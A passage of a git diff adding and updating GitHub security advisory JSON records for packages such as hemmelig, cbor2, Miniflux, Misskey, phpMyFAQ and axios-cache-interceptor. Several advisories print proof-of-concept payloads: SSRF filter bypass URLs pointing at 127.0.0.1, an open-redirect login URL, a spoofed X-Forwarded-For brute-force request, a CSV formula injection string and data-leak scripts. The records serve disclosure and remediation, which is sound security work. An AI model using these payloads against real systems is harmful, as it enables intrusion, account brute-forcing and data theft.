code in pickle file that remains undetected but executes when the pickle file is loaded.\n**Supply Chain Attack**: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Collaborators\nhttps://github.com/ajohnston9\nhttps://github.com/geo-lit", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vqmv-47xg-9wpr" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T15:24:33Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-vvxf-wj5w-6gj5/GHSA-vvxf-wj5w-6gj5.json b/advisories/github-reviewed/2025/12/GHSA-vvxf-wj5w-6gj5/GHSA-vvxf-wj5w-6gj5.json new file mode 100644 index 0000000000000..2184c080010d0 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-vvxf-wj5w-6gj5/GHSA-vvxf-wj5w-6gj5.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vvxf-wj5w-6gj5", + "modified": "2025-12-29T21:31:04Z", + "published": "2025-12-29T21:31:04Z", + "aliases": [ + "CVE-2025-69206" + ], + "summary": "hemmelig allows SSRF Filter bypass via Secret Request functionality", + "details": "### Summary\nA Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.\n\n### Details\nThe vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns:\n\n```typescript\nexport const isPublicUrl = (url: string): boolean => {\n const parsed = new URL(url);\n const hostname = parsed.hostname.toLowerCase();\n \n const blockedPatterns = [\n /^localhost$/,\n /^127\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/,\n /^192\\.168\\.\\d{1,3}\\.\\d{1,3}$/,\n // ... other patterns\n ];\n \n return !blockedPatterns.some((pattern) => pattern.test(hostname));\n};\n```\n\n**The validation is flawed because:**\n\n1. **DNS Rebinding Bypass**: It only checks the hostname string, not the resolved IP address. Domains like `localtest.me` pass validation (not matching any blocked pattern) but resolve to `127.0.0.1`.\n\n2. **Open Redirect Bypass**: External URLs like `httpbin.org/redirect-to?url=http://127.0.0.1` pass validation since `httpbin.org` is a public domain. When the server follows the redirect, it connects to the internal address.\n\n### PoC\nOptional: On the container that runs Hemmelig application, host a temporary port with the following command: \n```\nnode -e \"require('http').createServer((req,res)=>{console.log(req.method,req.url,req.headers);res.end('ok')}).listen(8080,()=>console.log('Listening on 8080'))\"\n```\n1. Log in as an user\n2. Switch to `Secret Requests` tab and create a new request\n3. When inside the request dialog, there are 2 possible payloads that can be used on the `Webhook URL` input to bypass SSRF\n```\n1. Using domain redirect: http://localtest.me:PORT\n2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT\n```\n4. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. \n\"image\"\n\nOtherwise, if the port doesn't exist, a similar error in the logs can be found:\n```\nSecret request webhook delivery failed after retries: TypeError: fetch failed\n at node:internal/deps/undici/undici:15845:13\n at process.processTicksAndRejections (node:internal/process/task_queues:103:5)\n at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {\n [cause]: Error: connect ECONNREFUSED 127.0.0.1:80\n at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {\n errno: -111,\n code: 'ECONNREFUSED',\n syscall: 'connect',\n address: '127.0.0.1',\n port: 80\n }\n}\n```\n### Impact\nWhile the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.\n\n### Remediation\nReplace hostname-based validation with IP resolution checking:\n```typescript\nimport { isIP } from 'is-ip';\nimport dns from 'dns/promises';\n\nexport const isPublicUrl = async (url: string): Promise => {\n const parsed = new URL(url);\n const hostname = parsed.hostname;\n \n // Resolve hostname to IP\n let addresses: string[];\n try {\n if (isIP(hostname)) {\n addresses = [hostname];\n } else {\n addresses = await dns.resolve4(hostname).catch(() => []);\n const ipv6 = await dns.resolve6(hostname).catch(() => []);\n addresses = [...addresses, ...ipv6];\n }\n } catch {\n return false;\n }\n \n // Check resolved IPs against blocklist\n const privateRanges = [\n /^127\\./,\n /^10\\./,\n /^192\\.168\\./,\n /^172\\.(1[6-9]|2\\d|3[0-1])\\./,\n /^169\\.254\\./,\n /^::1$/,\n /^fe80:/i,\n /^fc00:/i,\n /^fd/i,\n ];\n \n return addresses.length > 0 && !addresses.some(ip => \n privateRanges.some(pattern => pattern.test(ip))\n );\n};\n```\nAdditionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "hemmelig" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "7.3.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/HemmeligOrg/Hemmelig.app/security/advisories/GHSA-vvxf-wj5w-6gj5" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69206" + }, + { + "type": "WEB", + "url": "https://github.com/HemmeligOrg/Hemmelig.app/commit/6c909e571d0797ee3bbd2c72e4eb767b57378228" + }, + { + "type": "PACKAGE", + "url": "https://github.com/HemmeligOrg/Hemmelig.app" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T21:31:04Z", + "nvd_published_at": "2025-12-29T16:15:44Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-vww6-79rv-3j4x/GHSA-vww6-79rv-3j4x.json b/advisories/github-reviewed/2025/12/GHSA-vww6-79rv-3j4x/GHSA-vww6-79rv-3j4x.json index 5743bfa51b5cf..d56ecb0ba2967 100644 --- a/advisories/github-reviewed/2025/12/GHSA-vww6-79rv-3j4x/GHSA-vww6-79rv-3j4x.json +++ b/advisories/github-reviewed/2025/12/GHSA-vww6-79rv-3j4x/GHSA-vww6-79rv-3j4x.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-vww6-79rv-3j4x", - "modified": "2025-12-26T18:44:18Z", + "modified": "2026-02-27T22:04:50Z", "published": "2025-12-24T09:30:22Z", "aliases": [ "CVE-2025-64641" @@ -131,6 +131,10 @@ { "type": "WEB", "url": "https://mattermost.com/security-updates" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2026-4260" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-vx9q-rhv9-3jvg/GHSA-vx9q-rhv9-3jvg.json b/advisories/github-reviewed/2025/12/GHSA-vx9q-rhv9-3jvg/GHSA-vx9q-rhv9-3jvg.json index b4e5431280043..9c9bf66a2c5b7 100644 --- a/advisories/github-reviewed/2025/12/GHSA-vx9q-rhv9-3jvg/GHSA-vx9q-rhv9-3jvg.json +++ b/advisories/github-reviewed/2025/12/GHSA-vx9q-rhv9-3jvg/GHSA-vx9q-rhv9-3jvg.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-vx9q-rhv9-3jvg", - "modified": "2025-12-16T23:17:11Z", + "modified": "2026-02-25T15:32:27Z", "published": "2025-12-12T22:12:22Z", "aliases": [ "CVE-2025-67721" ], "summary": "aircompressor Snappy and LZ4 Java-based decompressor implementation can leak information from reused output buffer", - "details": "### Summary\nIncorrect handling of malformed data in Java-based decompressor implementations for Snappy and LZ4 allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data.\n\n### Details\nWith certain crafted compressed inputs, elements from the output buffer can end up in the uncompressed output. This is relevant for applications that reuse the same output buffer to uncompress multiple inputs. This can be the case of a web server that allocates a fix-sized buffer for performance purposes. This is similar to [GHSA-cmp6-m4wj-q63q](https://github.com/yawkat/lz4-java/security/advisories/GHSA-cmp6-m4wj-q63q).\n\n### Impact\nApplications using aircompressor as described above may leak sensitive information to external unauthorized attackers.\n\n### Mitigation\n\nThe vulnerability is fixed in release 3.4. However, it can be mitigated by either:\n* Avoiding reuse of the decompression buffer across calls\n* Clearing the decompression buffer before a call to decompress data", + "details": "### Summary\nIncorrect handling of malformed data in Java-based decompressor implementations for Snappy and LZ4 allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data.\n\n### Details\nWith certain crafted compressed inputs, elements from the output buffer can end up in the uncompressed output. This is relevant for applications that reuse the same output buffer to uncompress multiple inputs. This can be the case of a web server that allocates a fix-sized buffer for performance purposes. This is similar to [GHSA-cmp6-m4wj-q63q](https://github.com/yawkat/lz4-java/security/advisories/GHSA-cmp6-m4wj-q63q).\n\n### Impact\nApplications using aircompressor as described above may leak sensitive information to external unauthorized attackers.\n\n### Mitigation\n\nThe vulnerability is fixed in release 3.4 and 2.0.3. However, it can be mitigated by either:\n* Avoiding reuse of the decompression buffer across calls\n* Clearing the decompression buffer before a call to decompress data", "severity": [ { "type": "CVSS_V4", @@ -33,6 +33,25 @@ ] } ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "io.airlift:aircompressor" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.0.3" + } + ] + } + ] } ], "references": [ @@ -44,6 +63,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67721" }, + { + "type": "WEB", + "url": "https://github.com/airlift/aircompressor/pull/309" + }, { "type": "WEB", "url": "https://github.com/airlift/aircompressor/commit/f2b489b398779b40c1ee29ddb11d7edef54ddc15" @@ -55,6 +78,10 @@ { "type": "PACKAGE", "url": "https://github.com/airlift/aircompressor" + }, + { + "type": "WEB", + "url": "https://github.com/airlift/aircompressor/releases/tag/2.0.3" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-wcj4-jw5j-44wh/GHSA-wcj4-jw5j-44wh.json b/advisories/github-reviewed/2025/12/GHSA-wcj4-jw5j-44wh/GHSA-wcj4-jw5j-44wh.json new file mode 100644 index 0000000000000..bdf225ac3e54a --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-wcj4-jw5j-44wh/GHSA-wcj4-jw5j-44wh.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-wcj4-jw5j-44wh", + "modified": "2026-01-07T15:18:22Z", + "published": "2025-12-31T22:01:38Z", + "aliases": [ + "CVE-2025-68131" + ], + "summary": "CBORDecoder reuse can leak shareable values across decode calls", + "details": "### Summary\nWhen a CBORDecoder instance is reused across multiple decode operations, values marked with the shareable tag (28) persist in memory and can be accessed by subsequent CBOR messages using the sharedref tag (29). This allows an attacker-controlled message to read data from previously decoded messages if the decoder is reused across trust boundaries.\n\n### Details\nThe issue is in the decoder's handling of the shareables list, which stores values tagged with CBOR tag 28 (shareable) for later reference by tag 29 (sharedref).\n\nWhen decode_from_bytes() is called or when .fp is set to a new stream, the shareables list is not cleared. This allows references to persist across separate decode operations.\n\nThe issue exists in both the C extension and the pure Python decoder.\n\nIn the C extension (source/decoder.c), the _CBORDecoder_set_fp function (line ~202) updates the file pointer but does not reset the shareables state:\n\n```\n static int\n _CBORDecoder_set_fp(CBORDecoderObject *self, PyObject *value, void *closure)\n {\n // ... validation ...\n tmp = self->read;\n self->read = read;\n Py_DECREF(tmp);\n return 0;\n // Missing: PyList_Clear(self->shareables) or equivalent\n }\n```\n\nIn the pure Python decoder (cbor2/_decoder.py), the fp setter similarly fails to clear self._shareables.\n\nSimilarly, decode_from_bytes() in both implementations saves and restores the read pointer but does not clear the shareables list between decodes.\n\nThe shareable/sharedref tags are defined in the CBOR value sharing extension (http://cbor.schmorp.de/value-sharing) with scope limited to a single CBOR data item, not across separate messages.\n\n### PoC\n\n```\nimport cbor2\nfrom io import BytesIO\n\n# Message from trusted source containing a shareable value\nmsg1 = cbor2.dumps(cbor2.CBORTag(28, \"secret\"))\n\n# Attacker-controlled message referencing index 0\nmsg2 = cbor2.dumps(cbor2.CBORTag(29, 0))\n\n# Decoder reused across trust boundaries\ndecoder = cbor2.CBORDecoder(BytesIO(b''))\ndecoder.decode_from_bytes(msg1)\nprint(decoder.decode_from_bytes(msg2)) # prints \"secret\"\n```\nNo special configuration required. Affects any application that reuses a CBORDecoder instance to decode messages from different sources.\n\n### Impact\nInformation disclosure. Applications that reuse a CBORDecoder across trust boundaries are vulnerable if the trusted messages use value sharing (tag 28) and an attacker can send messages containing shared references (tag 29). An attacker who can send a crafted CBOR message containing a sharedref tag can read values from previously decoded messages, potentially exposing sensitive data such as credentials, tokens, or private user data.\n\n### Related\nA similar issue in the encoder could produce invalid CBOR with dangling shared references:\n\n```\nimport cbor2\nfrom io import BytesIO\n\n# Create encoder with value sharing enabled\nencoder = cbor2.CBOREncoder(BytesIO(), value_sharing=True)\n\n# Persistent object that will be encoded multiple times\nshared_obj = ['hello']\n\n# First encode: array containing shared_obj twice\nencoder.encode([shared_obj, shared_obj])\nprint(f'First encode: {encoder.fp.getvalue().hex()}')\n# Output: d81c82d81c816568656c6c6fd81d01\n\n# Second encode: just shared_obj\nencoder.fp = BytesIO()\nencoder.encode(shared_obj)\nresult = encoder.fp.getvalue()\nprint(f'Second encode: {result.hex()}')\n# Output: d81d01 (just a shared reference to index 1!)\n\n# Try to decode the second result as standalone CBOR\ndecoder = cbor2.CBORDecoder(BytesIO(result))\ndecoded = decoder.decode()\n# FAILS: shared reference 1 not found\n```\n\nWhile primarily a correctness bug, it could cause denial of service if invalid CBOR is transmitted to downstream systems that fail to parse it, or cause silent data corruption if the dangling reference happens to resolve to an unrelated value.\n\nIt can also be considered a memory leak in both the decoder and encoder as references are held that will never be released as long as the decoder/encoder remains alive.\n\n### Suggested resolution\n\nAdd dedicated boolean flags to track when an encode/decode operation is in progress. Reset shared state only when the flag is False (top-level call). This ensures state is reset for standalone calls while preserving shared references for nested calls from hooks (which need access to the registry for cyclic structures).\n\nDecoder (_decoding flag):\n - decode(): set flag True, reset state, decode, set flag False\n - decode_from_bytes(): reset state only when flag is False\n\nEncoder (_encoding flag):\n - encode(): set flag True, reset state, encode, set flag False\n - encode_to_bytes(): reset state only when flag is False", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "cbor2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "5.8.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/agronholm/cbor2/security/advisories/GHSA-wcj4-jw5j-44wh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68131" + }, + { + "type": "WEB", + "url": "https://github.com/agronholm/cbor2/commit/f1d701cd2c411ee40bb1fe383afe7f365f35abf0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/agronholm/cbor2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-212" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-31T22:01:38Z", + "nvd_published_at": "2025-12-31T02:15:42Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-wh6m-h6f4-rjf4/GHSA-wh6m-h6f4-rjf4.json b/advisories/github-reviewed/2025/12/GHSA-wh6m-h6f4-rjf4/GHSA-wh6m-h6f4-rjf4.json index b18dc510eddd1..fc8142bd8fbf6 100644 --- a/advisories/github-reviewed/2025/12/GHSA-wh6m-h6f4-rjf4/GHSA-wh6m-h6f4-rjf4.json +++ b/advisories/github-reviewed/2025/12/GHSA-wh6m-h6f4-rjf4/GHSA-wh6m-h6f4-rjf4.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wh6m-h6f4-rjf4", - "modified": "2025-12-26T17:25:18Z", + "modified": "2025-12-31T00:13:33Z", "published": "2025-12-16T20:43:16Z", "aliases": [ "CVE-2025-68927" @@ -40,6 +40,10 @@ "type": "WEB", "url": "https://github.com/abhinavxd/libredesk/security/advisories/GHSA-wh6m-h6f4-rjf4" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68927" + }, { "type": "WEB", "url": "https://github.com/abhinavxd/libredesk/commit/270347849943ac6a43e9fd6ebdc99c71841900eb" @@ -56,6 +60,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-12-16T20:43:16Z", - "nvd_published_at": null + "nvd_published_at": "2025-12-27T01:15:42Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-wqv2-4wpg-8hc9/GHSA-wqv2-4wpg-8hc9.json b/advisories/github-reviewed/2025/12/GHSA-wqv2-4wpg-8hc9/GHSA-wqv2-4wpg-8hc9.json index 7885623bab14b..866a129d732ad 100644 --- a/advisories/github-reviewed/2025/12/GHSA-wqv2-4wpg-8hc9/GHSA-wqv2-4wpg-8hc9.json +++ b/advisories/github-reviewed/2025/12/GHSA-wqv2-4wpg-8hc9/GHSA-wqv2-4wpg-8hc9.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wqv2-4wpg-8hc9", - "modified": "2025-12-16T23:20:51Z", + "modified": "2026-02-02T16:29:11Z", "published": "2025-12-10T17:18:37Z", "aliases": [ "CVE-2025-67713" @@ -9,10 +9,6 @@ "summary": "Miniflux has an Open Redirect via protocol-relative redirect_url", "details": "### Summary\n`redirect_url` is treated as safe when `url.Parse(...).IsAbs()` is false. Protocol-relative URLs like `//ikotaslabs.com` have an empty scheme and pass that check, allowing post-login redirects to attacker-controlled sites.\n\n### Details\n- `url.Parse(\"//ikotaslabs.com\")` => empty Scheme, Host=\"ikotaslabs.com\".\n- `IsAbs()` returns false for `//ikotaslabs.com`, so the code treats it as allowed.\n- Browser resolves `//ikotaslabs.com` to current-origin scheme (e.g. `https://ikotaslabs.com`), enabling phishing flows after login.\n\n### PoC\n1. Send or visit: `http://localhost/login?redirect_url=//ikotaslabs.com` \n2. Complete normal login flow. \n3. After login the app redirects to `https://ikotaslabs.com` (or `http://` depending on origin).\n\n### Acknowledgements \nThis vulnerability was discovered using the automated vulnerability analysis tools **VulScribe** and **PwnML**. The research and tool development were conducted with support from the **MITOU Advanced Program (未踏アドバンスト事業)**, implemented by the **Information-technology Promotion Agency (IPA), Japan**.", "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N" - }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2025/12/GHSA-wwrj-3hvj-prpm/GHSA-wwrj-3hvj-prpm.json b/advisories/github-reviewed/2025/12/GHSA-wwrj-3hvj-prpm/GHSA-wwrj-3hvj-prpm.json index 1e8a0ea4d73f8..b3e242171b29c 100644 --- a/advisories/github-reviewed/2025/12/GHSA-wwrj-3hvj-prpm/GHSA-wwrj-3hvj-prpm.json +++ b/advisories/github-reviewed/2025/12/GHSA-wwrj-3hvj-prpm/GHSA-wwrj-3hvj-prpm.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wwrj-3hvj-prpm", - "modified": "2025-12-20T02:26:34Z", + "modified": "2026-01-06T22:41:27Z", "published": "2025-12-15T20:59:59Z", "aliases": [ "CVE-2025-66482" @@ -9,6 +9,10 @@ "summary": "Misskey has a login rate limit bypass via spoofed X-Forwarded-For header", "details": "### Summary\nWhen using an untrusted reverse proxy or not using a reverse proxy at all, attackers can bypass IP rate limiting by adding a forged X-Forwarded-For header. Starting with version 2025.9.1, an option (`trustProxy`) has been added in config file to prevent this from happening. However, it is initialized with an insecure default value before version 2025.12.0, making it still vulnerable if the configuration is not set correctly.\n\n### Workaround\n\nIf you are running Misskey with a trusted reverse proxy, you should *not* be affected by this vulnerability.\n\n- There is no workaround for the Misskey itself. Please update Misskey to the latest version or set up a trusted reverse proxy.\n- From v2025.9.1 to v2025.11.1, workaround is available. Set `trustProxy: false` in config file.\n- This is patched in v2025.12.0 by flipping default value of `trustProxy` to `false`. If you are using trusted reverse proxy and not remember you manually overrided this value, please take time to check your config for optimal behavior.\n\n### Details\n[Fastify recommend not trusting X-Forwarded-For IPs](https://fastify.dev/docs/latest/Reference/Server/#trustproxy)\nDue to misconfiguration in https://github.com/misskey-dev/misskey/blob/develop/packages/backend/src/server/api/SigninApiService.ts#L94 attacks can spoof their IPs.\n\n### PoC\n\n```\nPOST /api/signin-flow HTTP/1.1\nHost: misskey.localhost:3123\nContent-Length: 45\nContent-Type: application/json\nConnection: keep-alive\nX-Forwarded-For: 127.1.1.31, 1.1.1.12\n\n{\"username\":\"admin\",\n\t\"password\":\"password\"}\n```\n![image](https://github.com/user-attachments/assets/ce9f77e2-b339-4081-86a6-d44ed42e9ca5)\n\n\n### Impact\nAn attacker can brute force accounts bypassing rate limiting protection.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2025/12/GHSA-x2v3-9p22-w3x6/GHSA-x2v3-9p22-w3x6.json b/advisories/github-reviewed/2025/12/GHSA-x2v3-9p22-w3x6/GHSA-x2v3-9p22-w3x6.json new file mode 100644 index 0000000000000..b2da4acf2d26c --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-x2v3-9p22-w3x6/GHSA-x2v3-9p22-w3x6.json @@ -0,0 +1,92 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-x2v3-9p22-w3x6", + "modified": "2026-01-02T15:47:39Z", + "published": "2025-12-18T00:34:08Z", + "aliases": [ + "CVE-2023-53929" + ], + "summary": "phpMyFAQ contains a CSV injection vulnerability", + "details": "phpMyFAQ 3.1.12 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into their profile names. Attackers can modify their user profile name with a payload like 'calc|a!z|' to trigger code execution when an administrator exports user data as a CSV file.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "thorsten/phpmyfaq" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "3.1.12" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "phpmyfaq/phpmyfaq" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "3.1.12" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53929" + }, + { + "type": "PACKAGE", + "url": "https://github.com/thorsten/phpMyFAQ" + }, + { + "type": "WEB", + "url": "https://www.exploit-db.com/exploits/51399" + }, + { + "type": "WEB", + "url": "https://www.phpmyfaq.de" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/phpmyfaq-csv-injection-via-user-profile-export" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1236" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-02T15:47:39Z", + "nvd_published_at": "2025-12-17T23:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-x4m5-4cw8-vc44/GHSA-x4m5-4cw8-vc44.json b/advisories/github-reviewed/2025/12/GHSA-x4m5-4cw8-vc44/GHSA-x4m5-4cw8-vc44.json new file mode 100644 index 0000000000000..230968a9771d2 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-x4m5-4cw8-vc44/GHSA-x4m5-4cw8-vc44.json @@ -0,0 +1,66 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-x4m5-4cw8-vc44", + "modified": "2026-01-05T22:35:17Z", + "published": "2025-12-30T15:37:55Z", + "aliases": [ + "CVE-2025-69202" + ], + "summary": "axios-cache-interceptor Vulnerable to Cache Poisoning via Ignored HTTP Vary Header", + "details": "## Summary\n\nWhen a server calls an upstream service using different auth tokens, axios-cache-interceptor returns incorrect cached responses, leading to authorization bypass.\n\n## Details\n\nThe cache key is generated only from the URL, ignoring request headers like `Authorization`. When the server responds with `Vary: Authorization` (indicating the response varies by auth token), the library ignores this, causing all requests to share the same cache regardless of authorization.\n\n## Impact\n\n**Affected:** Server-side applications (APIs, proxies, backend services) that:\n\n- Use axios-cache-interceptor to cache requests to upstream services\n- Handle requests from multiple users with different auth tokens\n- Upstream services replies on `Vary` to differentiate caches\n\n**Not affected:** Browser/client-side applications (single user per browser session).\n\nServices using different auth tokens to call upstream services will return incorrect cached data, bypassing authorization checks and leaking user data across different authenticated sessions.\n\n## Solution\n\nAfter `v1.11.1`, automatic `Vary` header support is now enabled by default.\n\nWhen server responds with `Vary: Authorization`, cache keys now include the authorization header value. Each user gets their own cache.\n\n```js\n// v1.11.1+ (automatic, no config needed)\n// User 123: key = hash(url + {authorization: 'Bearer 123'})\n// User 456: key = hash(url + {authorization: 'Bearer 456'})\n// ✓ Different caches, no poisoning\n```\n\n## Remediation\n\nUpgrade to v1.11.1 or later. _No code changes required, protection is automatic_\n\n\n## Proof of Concept\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\nconst { setupCache } = require('axios-cache-interceptor');\n\n// Server that returns different responses based on Authorization\nconst server = http.createServer((req, res) => {\n const auth = req.headers.authorization;\n\n res.setHeader('Vary', 'Authorization');\n\n if (auth === 'Bearer 123') {\n res.write('Hello, user 123!');\n } else if (auth === 'Bearer 456') {\n res.write('Hello, user 456!');\n } else {\n res.write('Unknown');\n }\n\n res.end();\n});\n\nserver.listen(5000);\n\n// Client making requests with different tokens\nconst cachedAxios = setupCache(axios.create());\n\nconst server2 = http.createServer(async (_req, res) => {\n const authHeader =\n Math.random() < 0.5 ? 'Bearer 123' : 'Bearer 456';\n\n const response = await cachedAxios.get('http://localhost:5000', {\n headers: { Authorization: authHeader }\n });\n\n console.log({\n response: response.data,\n cached: response.cached,\n auth: authHeader\n });\n res.write(response.data);\n res.end();\n});\n\nserver2.listen(5001);\n\n// Trigger 10 requests\nPromise.all(\n Array.from({ length: 10 }, () =>\n axios.get('http://localhost:5001').catch(console.error)\n )\n).finally(() => {\n server.close();\n server2.close();\n});\n```\n\nAll 10 responses return \"Hello, user 123!\" even when using \"Bearer 456\" - users receive each other's cached data.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "axios-cache-interceptor" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.11.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/arthurfiorette/axios-cache-interceptor/security/advisories/GHSA-x4m5-4cw8-vc44" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69202" + }, + { + "type": "WEB", + "url": "https://github.com/arthurfiorette/axios-cache-interceptor/commit/49a808059dfc081b9cc23d48f243d55dfce15f01" + }, + { + "type": "PACKAGE", + "url": "https://github.com/arthurfiorette/axios-cache-interceptor" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-524", + "CWE-639" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:37:55Z", + "nvd_published_at": "2025-12-29T20:15:42Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-x843-g5mx-g377/GHSA-x843-g5mx-g377.json 